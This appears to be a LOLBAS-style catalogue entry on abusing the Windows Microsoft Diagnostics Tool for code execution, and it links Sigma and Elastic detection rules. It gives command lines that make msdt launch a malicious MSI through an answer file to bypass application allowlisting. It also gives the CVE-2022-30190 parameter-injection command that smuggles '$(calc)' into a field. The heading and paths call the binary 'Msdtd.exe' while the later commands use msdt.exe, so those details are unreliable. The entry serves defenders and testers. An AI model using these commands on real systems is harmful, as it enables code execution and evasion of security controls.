

.. /Msdtd.exe ☆ Star

Execute (GUI)

AWL bypass (GUI)

Microsoft diagnostics tool

Paths:

C:\Windows\System32\Msdtd.exe

C:\Windows\SysWOW64\Msdtd.exe

Resources:

- <https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/>
- <https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/>
- <https://twitter.com/harr0ey/status/991338229952598016>
- https://twitter.com/nas_bench/status/1531944240271568896

Acknowledgements:

- Nasreddine Bencherchali (@nas_bench)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_msdtd_answer_file.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msdtd_arbitrary_command_execution.yml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml

Execute

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.

```
msdtd.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
```

Use case:	Execute code
Privileges required:	User
Operating systems:	Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1218
Tags:	Application: GUI

AWL bypass

. Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the PCW8E57.xml file.

```
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
```

Use case: Execute code bypass Application whitelisting
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218
Tags: Application: GUI

. Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

```
msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu  
IT_BrowseForFile=../../$(calc).exe"
```

Use case: Execute code bypass Application allowlisting
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1202
Tags: Application: GUI